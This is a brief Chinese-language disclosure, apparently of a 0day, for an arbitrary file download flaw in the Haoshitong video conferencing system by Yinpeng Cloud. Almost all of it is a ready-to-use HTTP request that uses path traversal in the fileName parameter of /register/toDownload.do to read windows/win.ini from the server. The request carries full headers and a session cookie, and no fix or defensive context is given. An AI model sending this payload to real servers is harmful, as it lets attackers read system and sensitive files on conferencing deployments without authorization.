银澎云计算 好视通视频会议系统 任意文件下载0day

请求包

GET /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: xxx.xxx.xxx.xxx
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: mldn-session-id=7950aca4-6faa-46d9-858a-97b82d619741
Connection: close